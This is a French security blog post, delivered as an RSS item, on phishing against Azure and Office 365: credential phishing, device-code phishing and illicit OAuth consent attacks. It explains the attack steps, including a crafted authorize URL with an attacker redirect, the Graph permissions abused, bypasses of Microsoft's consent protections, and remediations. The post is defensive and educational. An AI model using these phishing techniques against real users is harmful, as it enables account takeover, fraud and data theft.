					<comments>https://www.riskinsight-wavestone.com/2023/03/les-attaques-par-consentement-illicite-ciblant-azure-et-office-365-une-menace-toujours-dactualite/#respond</comments>
		
		<dc:creator><![CDATA[Younes Laaboudi]]></dc:creator>
		<pubDate>Thu, 30 Mar 2023 09:00:00 +0000</pubDate>
				<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<category><![CDATA[Azure]]></category>
		<category><![CDATA[O365]]></category>
		<category><![CDATA[phishing]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=20114</guid>

					<description><![CDATA[<p>Un petit tour d’horizon des techniques d’hameçonnage sur Azure et Office 365 Les attaques par hameçonnage (phishing) sont connues de tous. L’objectif de ce type d’attaque est de réaliser des actions depuis le compte d’une victime ou de récupérer des...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2023/03/les-attaques-par-consentement-illicite-ciblant-azure-et-office-365-une-menace-toujours-dactualite/">Les attaques par consentement illicite ciblant Azure et Office 365 : une menace toujours d’actualité ?</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<h1 style="text-align: justify;">Un petit tour d’horizon des techniques d’hameçonnage sur Azure et Office 365</h1>
<p style="text-align: justify;">Les <strong>attaques par hameçonnage</strong> (phishing) sont connues de tous. L’objectif de ce type d’attaque est de <em>réaliser des actions</em> depuis le compte d’une victime ou de <strong>récupérer des informations</strong> sur la personne ou l’entreprise ciblée.</p>
<p style="text-align: justify;">Malgré leur notoriété, elles restent très efficaces pour les attaquants. En effet, parmi les <a href="https://www.wavestone.com/en/insight/cert-w-2022-cybersecurite-trends-analysis/">attaques investiguées par le CERT Wavestone</a>, environ 51% d’entre elles commencent par l’utilisation de comptes valides, ce qui inclut les <strong>attaques par hameçonnage</strong> (phishing).</p>
<p style="text-align: justify;"><strong>Face aux attaques par l’hameçonnage, nous sommes tous vulnérables !</strong> Un attaquant disposant de suffisamment de ressources et d’informations sur sa cible peut générer <em>un piège assez élaboré</em> pour faire baisser la garde du destinataire. De même, les suites de produits Office365 et Azure disposent de fonctionnalités pouvant être exploitées dans le cadre <em>d’attaques moins conventionnelles et dont les impacts peuvent être méconnus des utilisateurs</em>.</p>
<p style="text-align: justify;">La <strong>sensibilisation des employées</strong>, bien que nécessaire pour faire face aux menaces les plus répandues, ne suffit pas face à certains types d’attaques plus ciblées ou moins traditionnelles. Un <strong>durcissement des conditions d’accès</strong> aux ressources hébergées sur le cloud, <strong>une bonne hygiène dans la gestion des droits d’accès</strong> ainsi que la <strong>détection d’accès inhabituels et suspicieux</strong> sont primordiales dans la stratégie de défense des entreprises.</p>
<p style="text-align: justify;">Les attaquants disposent d’une <strong>large gamme d’outils et de possibilités</strong> pour accéder aux <strong>documents stockés sur le SharePoint</strong> d’une entreprise, tenter de <strong>récupérer des emails sensibles</strong> ou récupérer des informations sur les employés. L’attaque par hameçonnage traditionnelle ainsi que par l’authentification « device code » seront brièvement expliquées ci-dessous avant d’examiner plus en détails les attaques par consentement illicite.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">L’attaque de phishing traditionnelle : une menace connue et évitable via l’usage d’authentification multi facteur</h2>
<p style="text-align: justify;">Les attaques de phishing traditionnelles reposent généralement sur l’envoi d’un <strong>lien dirigeant les victimes ciblées vers un site qu’il contrôle</strong>. Grace à une mire d’authentification similaire à celles auxquelles sont habituées les employées de l’entreprise ciblée, l’attaquant <strong>récupère les identifiants et mots de passe des utilisateurs piégés.</strong></p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-20128 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image1-2.png" alt="" width="3408" height="2216" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image1-2.png 3408w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image1-2-294x191.png 294w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image1-2-60x39.png 60w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image1-2-768x499.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image1-2-1536x999.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image1-2-2048x1332.png 2048w" sizes="auto, (max-width: 3408px) 100vw, 3408px" /></p>
<p style="text-align: center;"><em>L’attaque par hameçonnage traditionnelle est simple à mettre en œuvre en l’absence d’authentification multi-facteur</em></p>
<p style="text-align: justify;">La <strong>simplicité de mise en œuvre à grande échelle</strong> d’une telle attaque en fait un outil de choix pour les attaques non ciblées. Une méthode pour se prémunir contre ce type d’attaque est <strong>d’imposer l’utilisation d’un second facteur d’authentification.</strong></p>
<p style="text-align: justify;">Il est à noter cependant que bien que plus complexe à mettre en œuvre, <strong>l’interception du second facteur d’authentification est techniquement réalisable</strong> et fera l’objet d’un article dédié.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">L’attaque via l’authentification « device code » : une méthode méconnue d’authentification détournée par des attaquants</h2>
<p style="text-align: justify;">Cette attaque <em>repose sur la </em><strong>fonctionnalité d’octroi d’autorisation d’appareil</strong> (device authorization grant)<a href="#_ftn1" name="_ftnref1">[1]</a>. Cette méthode d’authentification permet <strong>d’authentifier un utilisateur sur un appareil ne disposant pas de navigateur web.</strong> Un code s’affichant sur cet appareil doit alors être renseigné sur un ordinateur ou un smartphone via le site de Microsoft dédié. Cet <strong>appareil disposera ensuite d’une partie des droits d’accès aux ressources Office 365 que l’utilisateur ayant renseigné le code</strong>.</p>
<p style="text-align: justify;">Cette <strong>procédure peu connue des utilisateurs</strong>, peut être exploitée par un attaquant à des fins malveillantes :</p>
<ul style="text-align: justify;">
<li>L’attaquant génère tout d’abord un code d’appareil, en utilisant le même processus utilisé par les appareils ne disposant pas de navigateur web.</li>
<li>Ensuite, l’objectif de l’attaquant sera d’amener la victime à renseigner son code d’appareil sur la page <span style="color: #048b9a;">https://microsoft.com/devicelogin</span>. Par exemple, l’attaquant pourrait prétexter que pour accéder à un document sensible, il est nécessaire de se connecter à ce lien en utilisant le code qu’il a généré.</li>
<li><strong>Si la cible accède au lien, renseigne le code et s’authentifie,</strong> cela <strong>permettra à l’attaquant d’usurper l&rsquo;identité </strong>de la victime.</li>
</ul>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-20132 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image2-2.png" alt="" width="3575" height="2521" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image2-2.png 3575w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image2-2-271x191.png 271w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image2-2-55x39.png 55w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image2-2-768x542.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image2-2-1536x1083.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image2-2-2048x1444.png 2048w" sizes="auto, (max-width: 3575px) 100vw, 3575px" /></p>
<p style="text-align: center;"><em>Exemple d’attaque par hameçonnage par device code</em></p>
<p style="text-align: justify;">Cette attaque est <strong>plus difficile à réaliser pour un attaquant</strong> en raison de la <strong>faible durée de vie des « device codes »</strong> : ces derniers sont uniquement valables pendant une <strong>durée de 15min</strong> et doivent donc être générés peu de temps avant que l’utilisateur ne le renseigne. Cette attaque est donc plus facilement réalisable dans le cadre d’<strong>attaques par « phoning » ou de phishing via Teams</strong>. Par exemple, l’attaquant pourrait appeler la victime, prétexter faire partie de l’équipe du support IT de l’entreprise pour demander à l’utilisateur de s’authentifier sur le lien indiqué et de renseigner le code de son choix.</p>
<p style="text-align: justify;">Pour se prémunir contre ce type d’attaque, les <strong>politiques d’accès conditionnel</strong> sur Azure permettent notamment <strong>d’interdire les connexions suspicieuses provenant d’appareil non maitrisés par l’entreprise.</strong></p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">L’attaque par consentement illicite</h2>
<p style="text-align: justify;">En plus de ces deux méthodes, l’attaque par consentement illicite permet aussi à un attaquant de récupérer un accès à un environnement Azure de manière illégitime. Cette dernière était même initialement plus simple à mettre en œuvre pour un attaquant que les attaques via l’authentification « device code ». Face à la recrudescence de cette menace, <strong>des actions ont été menées en 2020 par Microsoft pour limiter les conditions de réalisation de l’attaque.</strong> Si des configurations durcies d’Azure permettent de totalement bloquer cette menace, les configurations implémentées par certaines entreprises les exposent à ce type d’attaque. Quels sont les <strong>prérequis </strong>pour la réalisation d’une telle attaque, quelles sont les <em>c</em><strong>onséquences possibles et comment s’en prémunir </strong>?</p>
<p style="text-align: justify;"> </p>
<h1 style="text-align: justify;">Qu’est-ce qu’une attaque par consentement illicite ?</h1>
<p style="text-align: justify;">Pour <strong>comprendre le principe</strong> de cette attaque, mettons-nous <strong>dans la peau d’un employé</strong> victime d’une telle attaque :</p>
<ul style="text-align: justify;">
<li>La victime reçoit un<strong> mail d’hameçonnage</strong> indiquant une action urgente à réaliser pour maintenir son compte Microsoft activé. Les employés sont sensibilisés à ne pas cliquer sur des liens de phishing et à ne pas entrer leur mot de passe sur des plateformes inconnues. Le <strong>lien </strong>sous le format <span style="color: #048b9a;">https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=&lt;CLIENT_ID&gt;&amp;redirect_uri=&lt;Attacker_controled_URL&gt;&amp;response_type=code&amp;response_mode=query&amp;scope=Mail.ReadWrite%20Files.Read.All%20Mail.Send%20User.Read</span> contient un <strong>domaine associé à Microsoft</strong>, ce qui rassure la victime.</li>
<li>En cliquant sur le lien, la victime doit s’authentifier. Cette authentification est souvent automatique puisqu’elle bénéficie de l’authentification unique (SSO) de Microsoft. La victime reçoit alors <strong>une demande de délégation de permissions:</strong></li>
</ul>
<p> </p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-20144 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagebis.png" alt="" width="493" height="696" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagebis.png 493w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagebis-135x191.png 135w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagebis-28x39.png 28w" sizes="auto, (max-width: 493px) 100vw, 493px" /></p>
<p style="text-align: center;"><em>L’application malveillante demande à l’utilisateur de lui déléguer ses permissions</em></p>
<ul style="text-align: justify;">
<li>Si la victime clique sur « Annuler » par prudence, elle est redirigée vers le serveur de l’attaquant avec une URL du type <span style="color: #048b9a;">&lt;Attacker_controled_URL&gt;/?error=consent_required &amp;error_description=AADSTS65004%3a+User+declined+to+consent+to+access+the+app.&amp;error_uri=https%3a%2f%2flogin.microsoftonline.com%2ferror%3fcode%3d65004#</span>. L’attaquant, comprenant que la victime n’a pas accepté la délégation de permissions, peut ensuite <strong>rediriger la victime sur la page de phishing</strong>, lui <strong>donnant l’impression que les permissions demandées doivent être acceptées</strong> pour passer à l’étape suivante.</li>
<li>En raison du nom de domaine légitime et la vue de l’urgence indiquée dans le mail d’hameçonnage, la <strong>victime de l’attaque choisit d’accepter</strong><em>.</em> Elle observe alors un message indiquant que son compte sera bien maintenu activé, comme suggéré dans le mail initial. Elle reprend donc une activité normale.</li>
</ul>
<p style="text-align: justify;">Or, ce consentement permet à l’attaquant de réaliser <em>des actions au nom de la victime</em>, en fonction des permissions accordées. A noter que l’attaque par consentement illicite a de <em>nombreux avantages</em> pour un attaquant, notamment :</p>
<ul style="text-align: justify;">
<li>L’<strong>utilisation d’une URL associée à Microsoft</strong> lors de la demande de consentement, considérée comme de confiance et impliquant donc moins de méfiance de la part des utilisateurs ciblés.</li>
<li>L’obtention d’un <strong>accès persistant</strong> pendant 90 jours, sans connaissance du mot de passe de l’utilisateur ni du second facteur d’authentification, si aucune stratégie d’accès conditionnels n’est implémentée.</li>
<li>La possibilité de <strong>requêter directement les APIs de Microsoft</strong> pour récupérer de manière automatisée les fichiers, emails et autres ressources de l’entreprise accessibles par l’utilisateur piégé.</li>
</ul>
<p style="text-align: justify;"> </p>
<h4 style="text-align: justify;">Aparté technique</h4>
<p style="text-align: justify;">D’un point de vue technique, <strong>l’attaque par consentement illicite repose sur la capacité d’un attaquant à créer une application demandant des délégations de permissions</strong>. La délégation de permission est une fonctionnalité qui est régulièrement utilisée par les utilisateurs sans qu’ils s’en rendent compte, par exemple le client Outlook est autorisé par défaut à récupérer et les notifier de l’arrivée de nouveaux emails.</p>
<p style="text-align: justify;">Voici les étapes clés lors de la réalisation de ce type d’attaque (qui repose sur la cinématique Authorization Code Grant d’OAuth 2.0) :</p>
<ul style="text-align: justify;">
<li>L’attaquant <strong>crée une application d’entreprise sur Azure AD</strong> (<span style="color: #048b9a;">application registration</span>) et <strong>configure les permissions</strong> qu’il souhaite obtenir <strong>de la part des utilisateurs</strong>. Il peut instancier également un « <strong>client_secret</strong>» sur l’application. Certaines contraintes liées à cette application sont détaillées plus bas.</li>
<li>Il met en place un <strong>serveur vers lequel les utilisateurs seront redirigés</strong> suite aux consentements et indique son URL en tant qu’<strong>URL de redirection valide pour l’application</strong>.</li>
<li>À la suite du <strong>consentement d’un utilisateur</strong>, celui-ci sera <strong>redirigé vers le site</strong> malveillant et un <strong>code sera fourni à l’attaquant.</strong> Ce code est la preuve à montrer à Microsoft que l’utilisateur autorise l’application à faire des actions en son nom.</li>
<li>A l’aide de <em>ce code</em> et du « <strong>client_secret </strong>» de l’application, l’attaquant pourra <strong>récupérer un jeton OAuth</strong>. Ce jeton est un <em>r</em><strong>écépissé signé par Microsoft</strong> qui précise les <strong>actions que la victime autorise à faire en son nom</strong>. L’attaquant peut également récupérer un « refresh_token » permettant de <strong>renouveler la validité du jeton OAuth</strong>.</li>
<li>Ce jeton OAuth est alors utilisable pour envoyer des <strong>requêtes à la Graph API</strong> au nom de la victime et par conséquent permet d’<strong>usurper son identité</strong>.</li>
</ul>
<p style="text-align: justify;"><img loading="lazy" decoding="async" class="aligncenter wp-image-20136 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image3-2.png" alt="" width="3169" height="1701" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image3-2.png 3169w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image3-2-356x191.png 356w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image3-2-71x39.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image3-2-768x412.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image3-2-1536x824.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image3-2-2048x1099.png 2048w" sizes="auto, (max-width: 3169px) 100vw, 3169px" /></p>
<p> </p>
<h1 style="text-align: justify;">Quelles sont les conséquences d’une telle attaque ?</h1>
<p style="text-align: justify;">Si certaines <strong>permissions nécessitent par défaut l’approbation d’un administrateur pour être déléguées</strong>, d’autres permissions peuvent être déléguées directement par les utilisateurs dans les environnements Azure non durcis. Les <strong>permissions pouvant être récupérées</strong> par l’attaquant lors de ce type d’attaque <strong>dépendent donc de la configuration du tenant Azure AD ciblé</strong>.</p>
<p style="text-align: justify;">Voici quelques exemples d’abus possibles par un attaquant qui aurait réussi à récupérer les permissions d’un utilisateur sur un environnement non durci.</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-20140 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image4-3.png" alt="" width="3083" height="1323" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image4-3.png 3083w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image4-3-437x188.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image4-3-71x30.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image4-3-768x330.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image4-3-1536x659.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Image4-3-2048x879.png 2048w" sizes="auto, (max-width: 3083px) 100vw, 3083px" /></p>
<p style="text-align: center;"><em>Actions réalisables à la suite d’une attaque par consentement illicite réussie sur en environnement Azure non durci</em></p>
<ul style="text-align: justify;">
<li><strong>Azure Active Directory :</strong>
<ul>
<li>La permission <span style="color: #048b9a;">Microsoft Graph User.ReadBasic.All</span> permet de <strong>récupérer les adresses email des tous les utilisateurs d’un tenant</strong>, ce qui permet de déployer des attaques de phishing à plus grande échelle à partir d’une première compromission.</li>
</ul>
</li>
<li><strong>Outlook :</strong>
<ul>
<li>L’envoi d’un email au nom d’un utilisateur peut permettre la réalisation d’attaques dites de « <strong>fraude au président </strong>» à l’aide des permissions <span style="color: #048b9a;">Microsoft Graph Mail.Send</span> et <span style="color: #048b9a;">Mail.ReadWrite</span>. Un employé compromis disposant d’un niveau hiérarchique élevé pourrait par exemple demander par email l’envoi en urgence d’une somme important d’argent à un compte non répertorié par l’entreprise.</li>
<li>Les emails envoyés peuvent également être dissimulés à l’aide de <strong>règles de filtrage Outlook</strong> pouvant être modifiées à l’aide de la permission <span style="color: #048b9a;">MailboxSettings.ReadWrite</span>. L’attaquant pourra alors <strong>rediriger tous les emails</strong> liés à son attaque et les réponses associées vers un dossier différent des boites d’envoi et de réception.</li>
</ul>
</li>
<li><strong>Teams :</strong>
<ul>
<li>La <strong>lecture et l’envoi de messages</strong> via Teams (<span style="color: #048b9a;">Microsoft Graph Chat.ReadWrite</span>) est une méthode efficace pour un attaquant d’usurper l’identité d’un utilisateur. Cette méthode peut également être utilisée pour réaliser des attaques de « <strong>fraude au président </strong>».</li>
</ul>
</li>
<li><strong>OneDrive et SharePoint :</strong>
<ul>
<li>L’accès en lecture aux <strong>fichiers accessibles sur OneDrive et SharePoint</strong> (<span style="color: #048b9a;">Microsoft Graph Files.Read.All</span>) peut donner accès à l’ensemble des fichiers accessibles par l’utilisateur. De plus, les droits d’accès aux fichiers SharePoint sont souvent<strong> stockés avec des droits d’accès permissifs</strong> ce qui permet aux attaquants de récupérer un très grand nombre de <strong>fichiers</strong>. Il n’est pas rare par exemple d’avoir à accès à des scripts ou fichiers de configurations contenant des mots de passe en clair.</li>
<li>Par ailleurs, les fonctionnalités de recherche de SharePoint, permettant notamment la lecture et l’indexation du contenu des fichiers Office, peuvent être utilisées afin de cibler certains mots clés tels que « mot de passe ».</li>
<li>Les droits d’écriture sur un fichier SharePoint (<span style="color: #048b9a;">Microsoft Graph Files.ReadWrite.All</span>) peuvent également avoir un impact important : les fonctionnalités de versioning de SharePoint limitent par défaut l’enregistrement des anciennes versions des fichiers à 100 versions. Cela signifie qu’en cas de réécritures automatisées et successives plus de 100 fois, <strong>la version initiale du fichier ne serait plus récupérable</strong>. Cela permettrait donc à un attaquant d’<strong>effacer un grand nombre de données</strong> en cas de compromission d’un compte disposant de droits d’écriture sur des fichiers sensibles. En cas d’effacement, il faudrait alors contacter le support Microsoft pour tenter de récupérer les données sur les sauvegardes quotidiennes à froid.</li>
</ul>
</li>
<li><strong>OneNote :</strong>
<ul>
<li>Les fichiers OneNote synchronisés (<span style="color: #048b9a;">Microsoft Graph Notes.ReadWrite</span> ou <span style="color: #048b9a;">Read.All</span>) peuvent contenir des informations sensibles tels que des <strong>comptes-rendus de réunion, confidentielles, mais aussi des informations techniques</strong> telles que des mots de passes stockés de manière non sécurisée.</li>
</ul>
</li>
<li><strong>Ressources Azure </strong>:
<ul>
<li>L’accès aux <em>key vaults</em> et <em>storage accounts</em> (<span style="color: #048b9a;">Azure Key Vault</span> et <span style="color: #048b9a;">Azure Storage user_impersonation</span>) peuvent donner accès à des éléments sensibles <strong>en cas de compromission de comptes de développeurs</strong> ou d’utilisateurs techniques. Ces éléments peuvent <strong>faciliter la compromission de ressources Azure</strong> telles que des machines virtuelles et servir de <strong>point de rebond pour un attaquant externe</strong>.</li>
</ul>
</li>
</ul>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">Ces actions peuvent avoir de <strong>graves impacts</strong> pour une entreprise. Par ailleurs, elles peuvent <strong>faciliter la réalisation d’attaques plus élaborées</strong> en divulguant des informations sensibles à un attaquant externe.</p>
<p style="text-align: justify;"><strong>En cas d’approbation par un administrateur,</strong> des permissions plus sensibles peuvent être récupérées comme l’accès en écriture à <strong>l’ensemble des informations de l’annuaire Azure Active Directory</strong>.</p>
<p style="text-align: justify;">Enfin, les administrateurs disposent du <strong>droit de déléguer à une application les permissions de tous les utilisateurs</strong> du tenant. Dans cette éventualité, l’identité de l’ensemble des utilisateurs pourraient être usurpée pour la permission déléguée.</p>
<p style="text-align: justify;"> </p>
<h1 style="text-align: justify;">La mise en place par Microsoft du « risk-based consent step up » pour limiter les attaques par consentement illicite</h1>
<p style="text-align: justify;">Face à cette menace <strong>Microsoft a implémenté en novembre 2020</strong> des protections supplémentaires pour limiter l’impact de ce type d’attaques. La fonctionnalité de « <strong>risk-based consent step up</strong> » a pour objectif de <strong>lever un avertissement</strong> et de demander <strong>la validation d’un administrateur</strong> en cas de <strong>demande</strong> de permission <strong>semblant frauduleuse</strong>.</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-20146 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imageter.png" alt="" width="397" height="412" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imageter.png 397w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imageter-184x191.png 184w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imageter-38x39.png 38w" sizes="auto, (max-width: 397px) 100vw, 397px" /></p>
<p style="text-align: center;"><em>La demande d’accès depuis une application non vérifiée de droits considérés comme sensible est bloquée par défaut</em></p>
<p style="text-align: justify;">Celle-ci s’applique dans le cas d’une <strong>demande de permissions par une application non vérifiée crée hors du tenant ciblée</strong>. Par défaut, toutes les permissions sont concernées, à l’exception de la lecture du profil de l’utilisateur cible, pour faciliter l’authentification unique (SSO) avec des applications tierces.</p>
<p style="text-align: justify;">Cette restriction est <strong>implémentée par défaut</strong> sur tous les tenants Azure.</p>
<p style="text-align: justify;">Si <strong>ces restrictions permettent de limiter les attaques</strong>, 3 types d’applications sont <strong>cependant toujours utilisables à des fins malveillantes</strong><em> :</em> les applications « legacy », les applications internes au tenant ciblé et les applications vérifiées.</p>
<ul style="text-align: justify;">
<li><strong>Applications « legacy » :</strong>
<ul>
<li>Afin de permettre une <strong>rétrocompatibilité, aucun message d’avertissement n’est affiché </strong>pour une demande de permissions provenant d’une <strong>application créée avant novembre 2020</strong>.</li>
<li><em>Prérequis pour l’attaquant</em><strong> :</strong> disposer d’une <strong>application créée sur un tenant Azure avant novembre 2020</strong> ou compromettre un tenant contenant de telles applications.</li>
</ul>
</li>
<li><strong>Applications internes au tenant ciblé :</strong>
<ul>
<li>Ces applications <strong>ne sont pas couvertes par le « risk based consent step up »</strong><em>.</em> Par défaut, tous les utilisateurs d’un tenant Azure disposent du droit de <strong>création d’une application d’entreprise sur leur tenant</strong> ce qui facilite la réalisation de l’attaque sur un environnement non durci.</li>
<li><em>Prérequis pour l’attaquant </em>: disposer d’un premier compte compromis sur le SI de l’entreprise ciblée, s’apercevoir que la création des applications est autorisée pour les utilisateurs standards et <strong>déployer une application interne au tenant.</strong></li>
</ul>
</li>
<li><strong>Applications vérifiées :</strong>
<ul>
<li>Les applications vérifiées ne sont pas couvertes par le « risk based consent step up ». La procédure de vérification de Microsoft nécessite d’intégrer le Microsoft Partner Network.</li>
<li><em>Prérequis pour l’attaquant</em><strong> :</strong> disposer d’une <strong>application vérifiée</strong> ou <strong>compromettre un tenant Azure disposant d’applications vérifiées</strong> et détourner l’utilisation de ces applications légitimes.</li>
</ul>
</li>
</ul>
<p style="text-align: justify;"> </p>
<h1 style="text-align: justify;">Remédiations possibles</h1>
<p style="text-align: justify;">Afin de limiter la probabilité et l’impact de telles attaques, les recommandations suivantes peuvent être <strong>appliquées et adaptées au contexte de l’entreprise :</strong></p>
<ul style="text-align: justify;">
<li>Autoriser <strong>uniquement les applications explicitement approuvées par les administrateurs</strong>. Cette configuration est la plus sécurisée, mais l’étape de validation peut constituer un goulot d’étranglement puisque ce sont généralement les Global Administrators et Privileged Role Administrators qui doivent faire la validation. En pratique, certains droits peuvent être aussi délégués via les Cloud Application Administrators ou les Application Administrators.</li>
</ul>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-20149 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagequa.png" alt="" width="1392" height="522" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagequa.png 1392w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagequa-437x164.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagequa-71x27.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagequa-768x288.png 768w" sizes="auto, (max-width: 1392px) 100vw, 1392px" /></p>
<p style="text-align: center;"><em>Le consentement de délégation de privilèges par les utilisateurs standards peut être bloqué via les configurations Azure AD</em></p>
<ul style="text-align: justify;">
<li><strong>Limiter les permissions pour lesquelles les délégations peuvent être réalisées</strong>. Un administrateur peut spécifier les permissions à faible risque (Low) pour lesquelles les délégations peuvent être directement faites par les utilisateurs.</li>
</ul>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-20151 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagecin.png" alt="" width="949" height="361" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagecin.png 949w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagecin-437x166.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagecin-71x27.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagecin-768x292.png 768w" sizes="auto, (max-width: 949px) 100vw, 949px" /></p>
<p style="text-align: center;"><em>Le consentement de délégation de privilèges par les utilisateurs standards peut être limité aux droits considérés non sensibles via les configurations Azure AD</em></p>
<ul style="text-align: justify;">
<li>Créer un <strong>processus de validation des applications légitimes et de admin consent workflow pour tracer et justifier ces validations</strong>. En durcissant les modalités d’octroi de consentements, il est nécessaire de conjointement mettre en place un manière simple et intuitive pour les utilisateurs de demander des dérogations pour déléguer des permissions liées à des cas d’usage légitimes. Ces exceptions doivent être tracées et justifiées afin de s’assurer de la légitimité des demandes.</li>
<li>Faire une <strong>revue régulière des droits délégués aux applications</strong> (<span style="color: #048b9a;">Entreprise applications</span>) : les permissions déléguées par les utilisateurs doivent être revues afin de s’assurer que seules des applications légitimes disposent de droits sur les ressources Office 365 du tenant.</li>
</ul>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-20153 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagesext.png" alt="" width="1392" height="389" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagesext.png 1392w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagesext-437x122.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagesext-71x20.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagesext-768x215.png 768w" sizes="auto, (max-width: 1392px) 100vw, 1392px" /></p>
<p style="text-align: center;"><em>La revue régulière des applications disposant de droits sur un tenant Azure permet de valider que les privilèges octroyés sont toujours d’actualité</em></p>
<ul style="text-align: justify;">
<li>Superviser les accès suspects aux ressources Office 365. Il est possible par exemple de mettre en place des <strong>règles d&rsquo;alerte</strong> sur le nombre de fichiers téléchargés sur un temps court afin d’identifier les <strong>tentatives d’exfiltration de données</strong>.</li>
<li><strong>Limiter les droits d’accès aux fichiers SharePoint au strict nécessaire</strong>: les fichiers accessibles à tous les utilisateurs d’un tenant doivent être vérifiés à intervalle régulier et les droits d’accès aux fichiers les plus sensibles doivent être revus pour s’assurer que seules les personnes nécessaires y ont accès.</li>
</ul>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;"> </p>
<h1 style="text-align: justify;">Conclusion</h1>
<p style="text-align: justify;">Les <strong>différentes attaques par phishing</strong> présentées dans cet article reposent sur un <strong>manque de durcissement des configurations Azure AD</strong>. La <strong>mise en place d’un second facteur d’authentification</strong>, bien que nécessaire face aux attaques par phishing traditionnelles, n’est pas suffisante pour se prémunir des autres attaques présentées. Pour les attaques via l’authentification « device code », les administrateurs peuvent <strong>mettre en place des politiques d’accès conditionnel</strong> pour limiter les connexions suspicieuses provenant d’appareil non maitrisés par l’entreprise. Pour les attaques par consentement illicite, la mesure la plus efficace consiste à <strong>autoriser uniquement les applications approuvées par les administrateurs.</strong></p>
<p style="text-align: justify;"><strong>Ces trois éléments de durcissement,</strong> bien que simples en apparence, peuvent faire l’objet de <strong>véritables chantiers de sécurisation</strong> afin de <strong>prendre en compte l’historique,</strong> notamment en s’assurant que les applications existantes ne soient pas bloquées par ces mesures, et en <strong>implémentant des processus </strong>de revues régulières et de validation des nouvelles applications.</p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;"> </p>
<h3 style="text-align: justify;">Bibliographie</h3>
<p style="text-align: justify;"><a href="https://aadinternals.com/post/phishing/">https://aadinternals.com/post/phishing/</a></p>
<p style="text-align: justify;"><a href="https://jeffreyappel.nl/protect-against-oauth-consent-phishing-attempts-illicit-consent-attack/">https://jeffreyappel.nl/protect-against-oauth-consent-phishing-attempts-illicit-consent-attack/</a></p>
